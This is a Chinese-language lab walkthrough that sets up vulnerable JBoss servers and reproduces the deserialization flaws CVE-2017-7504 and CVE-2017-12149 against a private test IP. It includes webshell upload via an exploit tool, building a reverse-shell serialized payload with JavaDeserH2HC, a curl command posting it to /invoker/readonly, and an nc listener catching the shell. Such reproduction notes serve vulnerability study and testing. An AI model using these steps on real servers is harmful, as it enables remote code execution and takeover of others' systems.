JBoss环境搭建
JDK默认安装即可安装
JRE 环境变量配置
直接编辑“用户环境变量”中path环境变量,在其中直接新增一个JRE中bin目录的绝对位置即可(C:\Program Files\Java\jre1.8.0_66)
JBoss 环境配置与部署
下载好安装包直接解压缩
JBoss 环境变量配置
添加环境变量
(1)JAVA_HOME变量
1.变量名:JAVA_HOME:
2.变量值:C:\Program Files\Java\jdk1.8.0_66
(2)JBOSS_HOME变量
1.变量名:JBOSS_HOME
2.变量值:C:\jboss-4.2.1.GA
(3)CLASSPATH变量
1.变量名:CLASSPATH
2.变量值:C:\jboss-4.2.1.GA\bin\run.jar
JBOSS 服务访问
JBoss 服务启动测试
全局环境变量添加结束后,我们再次尝试打开JBoss服务启动脚本,启动JBoss服务,看到如下图关键信息,即表示服务启动成功。
JBoss 远程访问报错
通过对jboss服务的访问测试发现,jboss服务默认只接受本地(127.0.0.1:8080)的访问,远程主机访问jboss 8080服务会报“拒绝访问”
Jboss 远程访问配置
经过相关的查询,发现jboss 从4.0版本后,其默认配置是拒绝远程主机对jboss应用服务的直接访问的,如果需要访问,必须做相应的设置,具体办法见以下内容。
使用CMD命令带参数运行run.bat -b 0.0.0.0
可以通过外网访问
漏洞利用条件
有关 JBoss 反序列化漏洞利用条件,
(1)JBossJMXInvokerServlet接口(默认8080端口)以及JBoss Web Console (/web-console/) 是否禁止对外;
(2)以上系统是否都有在传输对象内容时,使用序列化技术(二进制流或base64encode)
(3)当对这些传输数据截包并且被替换为“包含命令执行的序列化内容”时,远程命令执行即触发。
jboss-4.2.2.GA版本全部为不符合
CVE-2017-7504漏洞复现
一、漏洞描述
Jboss AS 4.x及之前版本中,JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
使用JBoss反序列化漏洞检测工具
信息获取
通过信息获取功能,我们可以直接获取到系统、当前管理员权限以及当前用户目录位置等关键信息。
上传菜刀shell,获取主机权限
在不知道jboss web根目录的情况下,默认任何上传的文件,其存放的位置可能都是在$_jboss/bin 目录下(具体路径,可直接查看信息获取中给出的信息“User Currrent Directory”),所以我们首先可以使用“列目录”的功能收集下jboss web的真是根目录位置信息。
一般情况jboss默认安装的情况,其目录位置路径如下:
"$_jboss/server/default/deploy/jboss-webdeployer/ROOT.war/"
- jbos web 根目录路径信息收集
JBoss反序列化漏洞getshell工具
蚁剑连接成功
CVE-2017-12149漏洞复现
漏洞描述:JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致任意代码执行。
影响版本:Jboss AS 5.x Jboss AS 6.x
搭建Jboss AS 5.x ,Jboss AS 6.x方法同上
使用Jboss漏洞测试工具测试CVE-2017-12149成功。
使用JavaDeserH2HC工具进行漏洞利用
首先检测目录,访问链接(http://192.168.23.129:8080/invoker/readonly)
可以看到是返回 500,一般漏洞就是存在
执行生成二进制文件
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
添加反弹shell的IP和端口
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
这个时候会同目录下生成一个ReverseShellCommonsCollectionsHashMap.ser文件,curl 这个二进制文件
curl http://192.168.23.129:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
nc进行监听
nc -vlp 4444
nc反弹回shell